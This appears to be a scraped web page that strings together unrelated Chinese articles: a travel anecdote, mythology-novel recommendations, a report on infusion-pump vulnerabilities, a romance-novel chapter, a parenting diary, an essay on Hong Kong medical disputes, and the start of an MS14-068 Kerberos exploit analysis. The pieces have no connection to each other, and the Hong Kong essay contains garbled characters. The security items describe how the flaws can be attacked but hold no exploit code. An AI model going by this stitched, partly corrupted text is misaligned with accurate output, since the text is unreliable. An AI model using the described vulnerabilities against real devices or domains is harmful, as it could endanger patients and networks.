这才是心中的武大郎 武大郎炊饼好找,武大郎难寻

摘要:日前重游了水泊梁山。在这个本应该大碗喝酒、大块吃肉、大秤分金银的所在。粗犷之下,也发现了不少细腻文化的元素!这才是心中的武大郎武大郎炊饼好找,武大郎难寻!梁山某酒店为了凸显水浒传梁山文化。专门做了武大

日前重游了水泊梁山。在这个本应该大碗喝酒、大块吃肉、大秤分金银的所在。粗犷之下,也发现了不少细腻文化的元素!这才是心中的武大郎 武大郎炊饼好找,武大郎难寻!

梁山某酒店为了凸显水浒传梁山文化。专门做了武大郎炊饼。炊饼焦软可口。炊饼是不是武大郎炊饼不知道。但卖炊饼的“武大郎”。个头气质,想象中就应该是这个样的!

https://vd1.bdstatic.com/mda-hikg1yi39jtxrra4/mda-hikg1yi39jtxrra4.mp4?playlist=%5B%22hd%22%2C%22sc%22%5D

除了《西游记》,这些神话志怪小说同样值得一读

作为中国四大名著之一的《西游记》名声实在太大,加上各种影视剧的改版,《西游记》成为了家喻户晓的神话小说。所以说起神话小说,大家第一时间想到的就是《西游记》,西游记成书于成书于16世纪中叶,明代嘉靖与万历之间。这个时间段正是朝廷权力斗争最激烈的时候,而《西游记》里有许多情节隐射了当时的朝政,这也让《西游记》的内涵得到进一步的升华。

但是中华上下五千年,有数不尽书的神话故事,所以也诞生了不少精彩绝伦的神话小说。除了《西游记》,以下这些神话小说也值得一读。

《山海经》

《山海经》是先秦古籍,具体的成书时间和作者都不详,《山海经》是一部富于神话传说的最古老的地理书。虽然《山海经》主要是记录古代地理、物产、神话、巫术、宗教等,也包括古史、医药、民俗、民族等方面的内容,但是里面也记录了许多古代神话故事,几乎囊括了远古的神话故事,包括《女娲补天》、《精卫填海》、《夸父逐日》和《大禹治水》等等。

《山海经》里面记录了许多神乎其神的故事,也有许多神兽,包括凤凰、鲲鹏、九尾狐等等,还有去年张艺谋导演的大片《长城》,里面怪兽饕餮就是出自《山海经》。

山海经

《搜神记》

《搜神记》是一部记录古代民间传说中神奇怪异故事的小说集,作者是东晋的史学家干宝。《搜神记》内容十分丰富,有谶纬神学、有神仙变幻,有精灵物怪,有妖祥卜梦,还有人神、人鬼的爱情故事等。

《搜神记》最有名的故事应该就是《董永》和《干将莫邪》,前者是凄美的人神之恋,后者是奇幻的复仇故事。

搜神记

《封神演义》

《封神演义》和《镜花缘》、《聊斋志异》、《济公传》合称中国古代四大神怪小说。《封神演义》是明代道士许仲琳(一说为陆西星)所著的神魔小说。主要以姜子牙辅佐周室(周文王、周武王)讨伐商纣的历史为背景,描写了昆仑山元始天尊为代表的阐教、东海蓬莱岛通天教主为代表截教诸仙斗智斗勇、破阵斩将封神的故事。

《封神演义》跟《西游记》一样是章回体小说,小说的故事结构宏大,里面许多情节也成为了典故,比如《哪吒闹海》、《姜太公钓鱼》等。《封神演义》故事发生在《西游记》之前,里面的很多人物形象在《西游记》里面也有出现。

封神演义

《聊斋志异》

《聊斋志异》简称《聊斋》,俗名《鬼狐传》,是中国清朝著名小说家蒲松龄创作的文言短篇小说集。《聊斋志异》的篇幅都不长,有的篇幅仅有一两百字,但是也可以将完整一个故事。据称,蒲松龄为了写《聊斋志异》,在他的家乡柳泉旁边摆茶摊,请过路人讲奇异的故事,讲完了回家加工,就成了《聊斋志异》。所以里面的故事又长又短,故事也有优有劣。

《聊斋》塑造了许多的鬼怪和狐仙的形象,最有名的莫过于《聂小倩》。

聊斋志异

《济公传》

《济公传》主要讲述济公济困扶危,惩治强梁,与为富不仁者作对的故事。叙济公原名李修缘,系“罗汉转世”,二十七岁出家灵隐寺。他不戒酒肉,佯狂似颠,故称济颠,曾治愈宰相秦熹之子病,为秦子之替修。

济公传

《镜花缘》

《镜花缘》,是清代文人李汝珍所作的长篇小说。该书前半部分描写了唐敖、多九公等人乘船在海外游历的故事,包括他们在女儿国、君子国、无肠国等国的经历史。后半部写了武则天科举选才女,由百花仙子托生的唐小山及其他各花仙子托生的一百位才女考中,并在朝中有所作为的故事。其神幻诙谐的创作手法数经据典,奇妙地勾画出一幅绚丽斑斓的天轮彩图。

《镜花缘》相比其它神话小说名气小很多,但是并不说明它的故事不精彩。

镜花缘

《阅微草堂笔记》

《阅微草堂笔记》纪晓岚以笔记形式所编写成的文言短篇志怪小说。

《阅微草堂笔记》主要搜辑各种狐鬼神仙、因果报应、劝善惩恶等当时代前后的流传的乡野怪谭,或亲身所听闻的奇情轶事;在空间地域上,其涵盖的范围则遍及全中国,远至乌鲁木齐、伊宁、滇黔等地。《阅微草堂笔记》的口味略重,看完会发现纪晓岚原来是这样的一个人,跟电视剧中的完全不一样。

阅微草堂笔记

黑客可以远程访问医用注射泵,给你提供致命剂量

如今,互联网正在融合每个行业,让人们的生活变得智能化的同时,IoT设备的安全性却并没有得到很好的保障。一切设备都可以连接互联网,医疗设备也不例外。黑客也逐渐将视线转入到医疗领域。



本月早些时候,1024rd 也报道过美国食品药品监管局(FDA)发现的46.5万心脏起搏器存在安全漏洞的事件。如今,DHS ICS-CERT在上周四发布了相关报告,称他们已经发现急性护理环境中使用的Medfusion 4000注射泵存在被黑客远程访问及操纵的风险,并发布了公开警示信息。

医用注射泵中存在 8 个安全漏洞

安全研究人员目前发现在明尼苏达州特种医疗器械制造商 Smiths Medical 制造的 Medfusion 4000 无线注射输液泵中存在八个安全漏洞。这家企业,史密斯医疗可以说是一家全球知名的医疗设备和器材供应商,它的产品广泛应用在全球的医院和护理机构中。而注射泵则是医疗设备中保障输液精度时使用的医疗器械,通常在急性重症监护及手术等情况中。

而研究员 Scott Gayou 发现的这些漏洞评级为 high ,远程攻击者可以获取权限访问注射泵并改变预期操作。

根据 ICS-CERT 的通告也表示,攻击者可能会损害设备中的通信模块和治疗模块。

其中编号为 CVE-2017-12725 的漏洞 CVSS 得分为9.8分,漏洞与使用硬编码的用户名和密码相关,如果默认配置没有改变就可以直接建立无线连接。

漏洞具体情况一栏

high 级别的漏洞包括如下:某些情况下可被远程代码执行的缓冲区溢出(CVE-2017-12718)、无验证(CVE-2017-12720)、连接FTP时存在硬编码的凭据(CVE-2017-12724)、容易受到中间人(MitM)攻击的缺乏主机证书验证(CVE-2017-12721)。

而其余漏洞则是 medium 严重性的缺陷,攻击者可能会利用以上漏洞来破坏设备的通信和操作模块,使用硬编码凭证进行 telnet 验证,并从配置文件获取密码。

这些漏洞影响到运行1.1,1.5和1.6版固件的设备,Smiths Medical 计划在2018年1月发布新版本1.6.1,以解决这些问题。

目前可以提供给医疗机构的建议如下:

为注射泵分配静态IP地址

监测恶意服务器的网络活动

在隔离网络上配置注射泵

设置强密码

定期创建备份

直到补丁发布

*参考来源:thehackernews,raps,Elaine编译,转载请注明1024rd.COM

蓝莲花(23)

图片转自网络

沈君撇了一眼夸张的桃子说,“你俩互相介绍一下吧。” 桃子大方地伸出手,“我是桃子,沈君死党,很高兴认识你,林风。” 林风倒是有些不好意思,眼前这个女生有些自来熟。明明还不认识,但这架势似乎是认识多年的朋友。林风赶忙也伸过手,慌乱地说了句“幸会”。在此之后,桃子的目光就没离开林风,在桃子眼里,林风是自己的菜,帅气又不失邻家大哥哥的亲切。林风也感觉到旁边一双眼睛总盯着自己,沈君这死党有些打乱了他的方寸,原本自己一肚子的问题想问沈君,可这时,总觉得时机不对,无从问起。只能开始大口嚼着桌上的寿司。

“他还好吧?”沈君还是没忍住。快一个月没有见到华章了。也没有音讯。林风使劲咽了咽嗓子眼里的寿司,连忙说:“挺好的,就是特别忙,又是项目,又是并购,莲南莲城两边跑。”林风似乎想起什么,“对了,今天去RIM开会,方总知道你辞职,还贼心不死,想让你去他公司呢。你怎么打算,不会一直这么待着吧。”

桃子听到RIM来劲了。“RIM多牛啊,你知道在美国名牌大学想进RIM都难,福利特别好,每年还有好长的带薪假。员工还有超豪华健身房。” RIM在业界薪资福利确实很有名,很多人都梦想着去RIM工作。林风不高兴了,眼前这桃子和沈君不一样,浑身沾满了金钱的味道。“你知道什么啊,沈君不能去RIM,去哪都不能去RIM。”

林风嘴巴开始不饶人,沈君没法去RIM,这方总,杜鹃,华章关系还没理清楚,她一脚踏进去,不是淌浑水去了吗?

桃子不理会他这一套,继续给沈君分析:“咱不看方总,杜鹃和华章的关系,这都是过去式。就看看你的兴趣,以及未来的发展。RIM确实是个不错的选择。做人还是要理性一些,干嘛跟一份好工作过意不去呢?”

沈君这会觉得桃子的分析有道理,自己在家闷了这么多天。虽然不知道将来会怎么样,也不知道华章是不是和杜鹃已经在一起了。但她确定的是她想要继续好好工作。既然罗奥是回不去了,RIM的工作内容自己又很熟悉,这么长时间和RIM接触,自己也非常喜欢RIM的文化。确实没有拒绝的理由。

林风看了看身边的桃子,这姑娘虽然微胖,五官还是精致的。可身上的这劲儿,他不喜欢。沈君的性格不会和人争抢,也不知道怎么应对复杂的人际关系,如果去了RIM不是自讨苦吃吗?显然现在桃子的话更让沈君接受。不过看见沈君现在的状态,林风是放心了,她是走出来了,至少去接受一份新工作也会开始一段新生活。桃子看林风没说话,拍了拍他的肩膀。举起了酒杯:“来,咱们喝一个,今天我特别高兴,认识了你,和我心中的白马王子一模一样。”说完,一口气干了杯子里的清酒。

林风也举起杯子:“别白马王子了,以后大家都是朋友。沈君,你也一起来。”沈君看桃子是真心喜欢林风,这林风招架不住的样子确实可爱。她也举起了杯子,“今天太开心了,我最好的闺蜜,和最好的哥们。敬你们。”林风一副很不愿意自己和桃子扯上关系的样子,干了杯子里的酒。

桃子拿出了手机,亮闪闪的手机壳很是晃眼。“林风,咱俩加个微信吧。”林风心里不愿意,但还是爽快地拿出了手机。“你是桃花姬?”

林风看见这个名字一脸诧异。“对,我就是桃花姬,女性养颜美容的桃花姬。”

沈君不明白两人说的是什么,像是什么暗语。林风解释道:“桃花姬是现在一个很流行的女性自媒体平台,文章多是女性视角,言语犀利,很受年轻女孩子追捧。原来姐是名人啊。”林风故意夸张地说。

“桃子,这一年不见,你厉害啊。”沈君一边翻看着桃子的公众号,一边啧啧称赞。“这每篇文章的阅读量都十万加,太牛了。”

“以后咱们没准还要合作呢,现在就有不少品牌找我合作。”桃子说到工作倒是一脸严肃,我们这个平台是很挑的,只有我们自己非常认可的品牌才会合作。

林风对沈君闺蜜桃子的感觉特别复杂。如果用酒来形容,就像是伏特加。桃子给人带来的冲击和碰撞,让人想敬而远之,但又不自觉地靠近。很长时间,林风都是这种摸不着头脑的感觉。

在三个人聊得热火朝天的时候,华章此刻正在办公室里加班。罗奥和普古拉的并购已经进入了实质阶段,通过流程再造和新资源的注入,罗奥在战略上实现了完美升级。华章进入罗奥的第五年,他和罗奥都登上了事业的一个巅峰期。

忙完手里的活,抬眼一看,又是夜深人静了。自从沈君离开公司,华章已经连续一个月加班到深夜。似乎只有这种疯狂的加班才能给自己救赎。他不能去找沈君,刚刚从林风短信里知道沈君一切都好,他心里的负罪感少了一些。

凌晨,华章打开了公寓的大门。杜鹃还没有睡,在看电视。见华章进来,她起身帮他接过了西服。这曾经是两个人都梦想多年的场景。可多少年之后,梦里的一切如实呈现,却再也回不到当年的心情了。“怎么还没睡?”华章关心道,这种关心像是刻在骨子里。

“白天睡得太多了。一会就去睡。”杜鹃继续坐在沙发上看电视。“好,那你早点睡,我先去睡了,明早要早起出差。”说完华章进了小屋子,黑暗的屋子里只剩下杜鹃和无声的电视节目。杜鹃面无表情地盯着电视机,整整一夜。

新手妈妈年度总结

儿子即满周岁。兵荒马乱的第一年,终于熬过去啦。想着写点什么,供以后翻阅。

(写了好几天,每天不多空,空下来时已相当困乏)

全年无休的三百六十多个日夜,是我跑过最考验体力、耐力、情智双商的马拉松。

以前在医院一周一个夜班,我就觉得熬人得不得了,第二天脸色苍白皮肤生斑啦,补一个白天觉都补不回元气啦,生物钟紊乱啦哎呀呀叫苦不迭。

生了儿子以后,夜间尿布、安抚、喂奶,天天晚上值夜班。

不敢睡死,睁只眼闭只眼,脑袋里头装个警铃,任何风吹草动定要赶在一发不可收拾之前,将之平息于星火。省得身边的小祖宗闹不醒我,他能上房揭瓦。

儿子出生的时候6斤重,不多不少。

然而小家伙的生长速度极为惊人。

满月的时候穿衣能穿3月龄的码;百日的时候穿半岁码只不过略显宽松。

半岁的衣服要买到1岁码;还没满一岁呢又统统换成18月龄码了!

11个月1周时带去试鞋子,别人家1岁的娃娃穿12、13码鞋,我儿子几个码数试下来终于16码穿进去了……

出院前,好些来看娃娃的人就给我建议说,不要抱睡,娃一睡着就给他放床,否则以后有得你辛苦。

我倒是想啊,可我家娃娃放床就醒,睡不沉实,嗷嗷哭。

我一想吧这么小的娃娃刚从妈妈肚子里跑出来,人生地不熟,可不得抱怀里给点儿安全感吗。一旦他获得足够多的安全感,自然而然就从依赖走向独立了嘛。

这一抱,整整6个月。

晚上放床睡OK,白天就不行。于是白天他睡多少我就抱多少,动也不敢动,也不能做别的,我稍微动一点儿对他来说就跟地震了似的,没法儿睡了。

手麻。脚麻。腰麻。脖子酸。一次连续抱睡三个钟后,手指竟麻了数日,没了正常的感觉。一天重过一天的大小子,扎扎实实压在我的腿上手上,一天好几个钟。

那真是一段难以言说的日子。一边觉得实在抱不住了,一边又希望他可以多睡一会儿。

说来也神奇,儿子满6个月的时候,忽然就能放睡了。每次睡一两个钟。也许这就是所谓的,充分建立起安全感的孩子,才会从依赖毅然走向独立吧。

家里老人各有各的事务,不能专门来帮我带娃。与其请保姆,我更愿意亲力亲为。再三考虑且得到老公支持,产假结束后,我辞职在家做起了全职妈妈。

我常跟自己说,孩子日日夜夜想跟妈妈黏在一起的时间也就人生头几年,不多久他就会拥有自己的圈子,自己的事务。

在他最需要妈妈的头几年,妈妈若能伴其左右,对妈妈而言,一定是最宝贵,最纯真,不可复制且一去不回的亲子时光。

而对孩子来说,其实小孩鲜少会记得人生头三年的事情。然而那三年的时光,他和世界联结的方式,一定会埋进浩瀚的潜意识里,成为他生命的底色。

理儿是这么个理儿。可真正做起全职妈妈来,你知道最沮丧的是什么吗?

不是一下多了很多打理孩子的琐碎事,也不是缺觉少眠,而是完全没有了自己的时间。尤其是前面半年。

晚上孩子睡着以后,我躲进卫生间洗澡。三平米的封闭空间里我与世暂隔绝,重新确认自己。然后快快洗完,孩子随时会醒。

这种情况在后面半年会稍稍缓和。

过去我连花都懒得养,现在要养育一个小孩,说不担忧,是不诚实的。并非只要是女人就会带小孩,想必许多新手妈妈都遭遇过十分棘手的时刻。

母爱是天然的,做母亲却需要学习。这句话我相当认同。

备孕起,我陆续入手了一些书籍。现在统计下来,刨去儿子的绘本,我拿回家的各色孕产育儿书摞起来至少有一米高……

记得生完孩子的第二天,我发了个朋友圈,说,希望我们以后相处愉快。

怎样才能相处愉快呢?

首先得有基本的了解吧?

初为人母,我啥都不懂,焦虑又彷徨,只好啃下几十本书练练心法,缓缓压力,实际操练起来也好有个底气。

以前我以为教养小孩就是要教给他这教给他那教给他很多东西,关键词是“我教”。后来通过阅读和实际观察我发现,关键词应该是“他想”。

孩子才是他自己的主角。孩子都是自我成长起来的。

我们经常误以为,小婴儿什么都不懂。

不。

饿了尿了不舒服了他会哭;饱了他会松开嘴而不会无节制地吃;时候到了会抬头,会翻身,会坐起,会爬,会扶站,会独立走。能力达不到的时候他会求助大人,但不表示他希望大人过度帮忙反成了阻力。

如果我们试图教给他或要求他一些事情,除非他已表现出浓厚的兴趣,否则他会报以不耐烦或不搭理。相反,如果他感兴趣的事情遭到了阻止,他会变得愤怒、反抗。

总之,他希望能够自由自在做他感兴趣的事。无论这个事情是否符合大人的期待。

婴幼儿是区别于成人的另一种生物,对待他们不能以成人的准则为评判依据。在他们的成长过程中,有的时候,大人不做什么,比做了什么更重要。

比如吃手这个事情。

我儿子两个月起就开始把手放进嘴巴里。后来凡是他能拿得到也看得上的东西,玩具呀、纸巾呀、包装盒呀、树叶呀通通都要塞进嘴巴里。

大人心里难免要打鼓:这得有多少细菌呀?甚至有人劝告说,千万要阻止他吃手,否则长大到几岁十几岁甚至几十岁都戒不掉,说得人甚是胆战心惊。

但是全世界的婴儿几乎都会吃手。难道吃手真的毫无意义吗?还是说,我们习惯了用成人的准则去评价他们的作为,才让一切看起来不符合规矩呢?

其实吃手是件好事儿。可以说是婴儿智能发展的外在体现。孩子自我成长的内在需求驱使他这么做。有人比喻说,婴儿每发展出一项技能时内心的喜悦,不亚于人类登上月球。

小宝宝历经千辛万苦,把手准确无误地塞进嘴里,这一举动完成了手眼协调。

通过吃手,宝宝发现了手的存在,发现了每个手指的独立与联系,继而唤醒手的功能。吃脚也是这个道理。

至于把各种玩意儿塞进嘴里,不是因为他饿了,而是因为他在“工作”。

宝宝拿到一个物件,会用眼睛看一看,用手摸一摸,扔一扔,再放到嘴巴里啃一啃,这才完成了对一个物品的认知。

这种探索性的“工作”,对宝宝来说很重要。如果被大人贸然阻止,就跟你打游戏打到难舍难分被你老婆关了机,你刷剧刷到情难自已被你老公关了机,内心的痛苦是一个样的。

压抑的需求在他成长过程中任何一个阶段都可能卷土重来,我想这才是某些小孩长大后仍“戒不掉”吃手的真正原因吧。

了解到这层原理,我基本上就由着他吃手吃各种玩意儿了。大不了多洗几遍手,大不了多洗几遍玩具。真遇到断然不能放嘴里的东西,我会拿别的玩意儿吸引他的注意力,他自会放弃手里的东西。

多观察,少插手,这是我总结出来的育儿理念。

有段时间儿子就爱扔东西,管它是什么拿到手就往地上扔。桌上沙发上的东西也全都拨拉到地上。我就把易碎的东西收起来,其他的都给他扔,扔了我还给他捡回去
,他十分享受这个游戏。

当他会爬的时候,他就自个儿把乒乓球或塑料杯扔出去,再爬过去捡起来,再扔出去,再捡,如此可以玩很久。

再有段时间他迷上了开抽屉,开柜门,噼噼啪啪开了又关关了又开,还把抽屉里柜子里的东西都掏出来。我也由着他,只在一边看护以免夹到手。

没过多久,在他把抽屉的东西都扔出去之后,竟然又自发地一个个放回抽屉里去!

与比同时,他还很乐意把散在的积木和玩具一个个放进果盆里!之前我尝试教过一两次把东西放进容器里,那时他并不在意。我便觉得应该是时侯未到,再等等。

没想到他自个儿玩着玩着不觉在游戏中升级了技能。

根据这些观察,我判断儿子已经初步萌发空间感,就把那套他扔着玩了很久的套杯拿过来,给他示范如何把小杯子套进大杯子里。

小家伙很感兴趣,刚开始要徘徊一阵子才能把杯子套进去,他表现得十分雀跃,跟进球了似的。如果套不进,他就会沮丧,生气,把杯子扔掉。

由于对整个手臂的精细控制能力稍弱,加上对大小的概念尚且模糊,有一半时候这项活动都以把杯子扔掉告终。

但是儿子每天都饶有兴趣地玩这套杯子,一大早起床来套一套,吃饱饭来套一套,睡觉前还来套一套。

随着时日推进,加之他积极爬地强化了对手臂的控制力,现在他玩起套杯来,成功率已经大大提高。而且还从单手操作发展到了双手协作,一手拿大杯,一手拿小杯,啪,套进去。

我趁热打铁,鼓励他喝奶前自己开瓶盖,喝完奶自己盖瓶盖,那种带盖子的饭碗也给他玩,他都觉得很有乐趣,而且要把盖子盖到严丝合缝才满意。

有几次我观察到儿子尝试把积木放在电视机屏幕上,积木落下来了;他又把积木放在墙壁上,积木又掉下来了;他把积木放在桌面,积木稳稳地待在了桌面;他把积木放在落地扇的底座上,积木也待住了。他觉得非常神奇。

于是我觉得可以尝试引进叠高的概念了,就拿来几块软积木叠高给他看。

他有点儿兴趣,但叠得很随意,有时把棱跟面叠在一起,有时把角跟面叠在一起,还没有意识到面与面叠在一起才能把积木叠高,因而失败的次数较多。偶然叠起来了,便惊喜不已。

我也没说什么,就旁观。他迟早会发现物体的空间规律,而在这之前的充分探索与思考的过程,不是比直接教会他一个结果重要得多了吗。

果然不多日,儿子已能稳妥叠高3块积木。

国外有一项认知测试,其中一道试题就是叠高积木。一岁半的孩子以叠高3块积木为合格。儿子不到一岁,已经做到了。

养孩子好比养花,或者种树。你不会去教一朵花如何绽放,也不会去教一棵树如何结果。但你会给花浇浇水,给树施施肥,锄锄杂草松松土,调节温度和湿度。

如此,花自开放,树自成材。

养育孩子同理。

孩子是自发成长起来的。给他营造一个适宜的环境,自由的环境,他身上的美好品质比如求知,比如专注,比如勇敢,比如友善等等,会像开花结果一样自然表现出来。

儿子爬得比较晚,将满9个月的时候才真正开始四点爬行。他很珍惜这项能让自己自由移动的技能,每天爬个不停。

家里客厅和餐厅之间有两级窄台阶,儿子刚会爬几日,自己就窜上台阶去了。我见他如此有勇,也不拦他,只跟随其后,做好随时接住他的准备。

等他爬上台阶比较顺利了,我便拿个玩具在下面鼓励他爬下来。儿子也不怕,不假思索就俯身爬下,他把手全都支到台阶下面,再把腿落下来。

这种方法容易磕到头,但他乐此不疲。后来果真磕了一回,儿子并没有就此畏缩,反而摸索出另一个更安全的爬下台阶的方法。

我见他如此热爱攀爬,索性每天带他去公园爬台阶。

公园的台阶每一层有十几级,每级都比较宽。儿子爬台阶喜欢给自己加戏,从上面扔一个杯子下去,看它一级一级滚落停定,再爬下去捡杯子。然后又把杯子带上来。

晨练的爷爷奶奶见到如此精神抖擞的娃娃,都忍不住过来逗他几句。小朋友也乐意过来找他玩儿。儿子都大方回应。

其实他小时候有段时间特别认生,不熟悉的人靠近一些他就哭,更不用说跟别人好好玩耍了。亲戚朋友跟我说,你得让孩子多跟人玩儿,你看他多胆小。

我不以为然。认为这只是一个过渡阶段。

孩子认生的时候我就把他抱开,让他感到安心。或者我会告诉对方,小孩正处在认生期,你不必特地理会他,他在一旁看见大人聊得开心,自然就会放下防备了,到时候你再跟他示好。

我不勉强他跟外人接触。相反,我会非常照顾他认生期的心理和情绪。

儿子并没有像别人说的那样变得胆小,现在他可会撩人说话呢。出门经过门卫处,他就盯着门卫发出嗯嗯嗯的声音,门卫大叔觉得好笑便跟他打招呼,儿子就报以咧嘴笑。

怀孕的时候我买了几盒识图卡片。当儿子能坐起来的时候,我就把卡片拿出来给他玩。他倒是挺喜欢这些五颜六色的卡片,有时放在嘴里咬,有时扔着玩。

我试过跟他讲卡片上的图案是什么,他待不到一分钟就玩别的去了。我就此作罢。只给他讲他感兴趣的生活中出现的事物。

过了几个月,儿子开始扶站啦。这套卡片又开发了新的玩法――儿子扶着床边的围栏蹲下去捡一张卡片,再站起来扔到栏杆外面,一套卡片够他扔好一会儿了。顺便还练习了蹲下站起。

十分出乎我意料的是,某一天,儿子拿起卡片的时候,正儿八经地把图案(一面图案一面文字)那一面翻过来看清楚,再看向我的眼睛,嗯?嗯?嗯?喉咙发出声音。

他在问我那是什么!

我试探性地告诉他那是什么。

他遂放下卡片,又拿起另一张,同样看清楚了之后又看向我,嗯?嗯?嗯?

我又告诉他那是什么。

如比进行多次。

从此每晚睡前他都会拿来一堆卡片跟我做识图游戏,直到他心满意足为止。

小孩的自我成长真是令人惊叹啊。

我们谈家庭教育,家庭教育是什么?我看过一篇标题取得很惊悚的爆款文章,“你在孩子身上偷的懒,都会变成最深的遗憾”。听起来像是不拿起刻刀狠狠雕琢孩子的父母最后都会悔不当初。

后来李松蔚写了一篇文章名为“你在孩子身上花的每分力气,都有可能变成最深的遗憾”给予正面回击。

做父母到底是要花心思的。但是这份心思不应花在雕琢孩子身上,而应花在雕琢环境上。

每个孩子都自带蓝图临世,仿佛种子破了土,生根发芽长叶开花。种子内部已经蕴涵了它要成长的全部信息,而如何提供一个自由、适宜的环境让它充分表达、生长,这是如照料种子一般照料孩子成长的父母最应该思考的问题。

我也在并将持续思考这个问题。

以上。

“医闹”在香港没必要,也行不通

读许骥先生的文章,引起我的兴趣。我倒是从没有想过,为何香港极少有“医闹”的事件发生?细想一下,当然不是没有原因的。

首先是,“医闹”在香港是没有用的。任何医院都不可能因为一个病者家属纠集一部份人到医院大吵大闹,甚至破坏财物而轻易让步。医院对一个病人家属让步,就等于鼓励更多病人家属“照办煮碗”v按此办理w,因此不论发生什么事,性质有多严重,医院绝不会吃暴力索偿这一套。

你真的搞一场医闹,闹得不成样子,影响医院的正常运作,医院就会报警。警察来了,首先将闹事者隔离,必要时弹压制服,有犯罪的要被告上法庭,没有犯罪的警诫之下放你回家,你可能还要面对被医院民事索偿的后果。

因此,香港人碰到亲属遭遇医疗事故,一般都不会用野蛮的方式,一般都会想一想有什么正常的渠道可以申诉索偿。

病人入院做手术前,都要签署一份同意书,这是医院为自己预设的一张保护网,总之一进手术室,几乎任何并发症或疑似医疗事故发生,都不关医生的事。

病人和家属为治病,通常都会签署v否则就另请高明了,但去到哪个医院都是同样的规矩w,签署后万一出了什么事,是否医院和医生绝对可以卸责呢t那也不是,因为即使制度多完备,医生总还是人,是人就会犯错,犯了错就要追究,如果签了免责声明就保险可以卸责,那岂不是对病人太不公平t

万一出了事,香港还有其他的申诉渠道。据我所知,你当然可以先向医院申诉。一般来说,医院不会过于偏袒自己的医生。出了医疗事故,对医院的公信力固然有影响,但如果医院偏袒医生,最后病人家属去找传媒,传媒把事情挖出来,那对医院的公信力打击会更大。因此就危机管理上来衡量,医院也会尽可能公正处理。

有些事医院处理不了,会将事故呈上医务委员会,或由病人直接向医委会投诉。香港医务委员会是根据香港法例成立,获赋予权力处理执业医生的注册和纪律规管事宜的。医务委员会对事故会成立小组调查,然后分别就情节轻重作出不同处分,如果是重要的案件,他们还会召开记者会公布和说明。医务委员会对失德或失职的医生,会作出警告或责,严重的会停牌,更严重的甚至吊销牌照。医生被吊销牌照,也就是永远不得执业,数十年英名毁于一旦,以百万千万计的收入付诸流水,因此医生治病不可不如履薄冰。

当然,如果事情严重,你也可以报警,警方又有另一套规矩办事,出了人命,也有死因裁判法庭审理。

以上是指私家医院。在公立医院来说,自有政府的医院管理局,其上还有医务卫生署。公立医院出医疗事故,政府都不敢轻描淡写处理。一般医院管理层要召开记者会公布详情,鞠躬道歉,然后安排处分医生和赔偿病人的后续工作。若事件引起社会反响,卫生署首长要公开说明,交代处理详情,有的情况下高官也要向公众道歉。

香港人一般都相信法律,不管发生什么事,事情可轻可重,你都可以找到合适的渠道去讨个公道回来。当然,事情的结果未必如你所愿,因为你对有关的专业和法规也不了解,但法律既然是可以信任的,你也只好将一切都交给法律,你胜诉了自然开心,你败诉也只好接受。

所以,说到医闹,香港人会认为“哂气”v白花力气w。你要纠集一群亲友,人家也要养家活口,未必那么得闲,即使人多,医院也不怕你,你闹半天,警察来了,还要到警署落案,亲友误工,你还要答谢,到最后,落得个赔了夫人又折兵,很不上算。香港人在这种事情上很精明,不会做无胜算而要亏大本的事情。

既然有地方投诉,投诉的成本又很低,又何必医闹?写一封投诉信,必要时提供一些证据,到医委会说明,最多也就是奔走几天,然后坐等结果公布。医委会怎么调查,他们如何聘请专家研判案情,如何与涉案医生对责,那都不关你的事――如此好事,到哪里去找!

医闹搞不起来,医院和医生也都有安全感,做错了自然要负责,没有做错也能还你一个公道。医患两造对法律都投信任票,执法者又都严格秉公办理,建立起稳固的公信力,如此一套规矩,长年有效运转,维持了医生与病患之间的良性关系。

当然,香港的医疗制度问题还很多,以笔者的看法,就是医生自我保护的意识太强烈,政府又怕了医生团体,因此正如许骥先生指出的,长期以来香港医护人手都很欠缺。

笔者前不久因眼睛干涩,要找眼科医生看看,公立医院眼科专科要排队,去看私家医生,网上只有很少的私家眼科服务,大部份都在中环。中环医生的收费不问可知,但要找其他地区的,居然很少,找到一家打电话去预约,也是要一个星期后。

结果被迫去看中环的专科医生,医生做一番检查,说是年纪大了眼泪水分泌不足,结果开了两种眼药水,收了我九百多元港币。后来发现,两种药在普通药房都买得到,一百块钱有找。

普通市民看专科,如果到公立医院,排队时间往往很长,到私家医院,收费又太贵,以我们外行人来看,都知道是医生不足的缘故。按市场规律,不同层次的医生以不同收费标准,服务不同阶层的市民,如此方可称为健康的医疗系统。但目前香港显然并非如此,征结在哪里,据说政府要输入外地医生,总是遭到本地医生的反对。

近年香港急症室供不应求,有的非紧急病人动辄等候八九个钟头,以至政府要提高急症室的收费,以减轻急症室的压力。最近夏季流感,公立医院住院床位爆满,有些病人要安置在走廊上,以至后来政府要向私家医院买位,以补不敷之数。

笔者是长期病患,平时在公立医院复诊取药,从前是三个月复诊一次,后来改四个月,最近改五个月。每次复诊,满院坐满老人,一等要等一两个钟头,医生看一个病人最多五分钟,多问一句,医生无奈说U我没有那么多时间给你――病人太多医生太少,这是不争的事实。

笔者母亲中风住院,夜晚要上厕所,按钟无人应,她只好自己摸索下床。护士担心她摔倒,打电话给我,说要将我母亲绑在床上,以防她自己下床危险。我初时抗议,那护士叫屈,说她们人手不足,整个病区晚上只有她
一个人值班。

种种迹象表明,整个公立医疗系统在告急U医院不足,医生不足,护士也不足。

这个困境,恐怕短期内都没有希望得到解决。

深入解读MS14-068漏洞:微软精心策划的后门?

0×0 背景

初次认识该漏洞是在1024rd上对该漏洞的预警《漏洞预警:系统权限提升漏洞(CVE-2014-6324)影响全版本Windows服务器》

微软今天(2014-11-18)发布了一个紧急补丁,修复了一个影响全部版本Windows服务器的严重漏洞。今天发布的MS14-068漏洞补丁用于解决Microsoft Windows Kerberos KDC漏洞(CVE-2014-6324),该漏洞允许黑客提升任意普通用户权限成为域管理员(Domain Admin)身份。也就是说,你在一台普通域用户的机器上利用这个漏洞,那么这个域用户就变成域管理员权限,然后,该域用户就可以控制整个域的所有机器了。http://www.1024rd.com/articles/system/52127.html

那么,问题来了,该漏洞的威力真的有这么大吗?

网上出现了Github上爆出的该漏洞的Python利用程序,Python Kerberos Exploitation Kit,也就是PyKek,当然,其它站点也都开始了转发。经过测试,Win7的普通域用户运行该漏洞程序确实能够成为域管理员权限。但网上大家的测试都是在域用户的本地账户中才能测试成功。

为什么Windows关于MS14-068的公告板中并没有提出这一点?按道理来说,越是有限制的漏洞利用对软件开发人员越是有利的,漏洞利用的机会越少,他们受到的谴责就会越少。

那么,问题又来了,真的只能用域用户的本地账户漏洞才能利用成功吗?

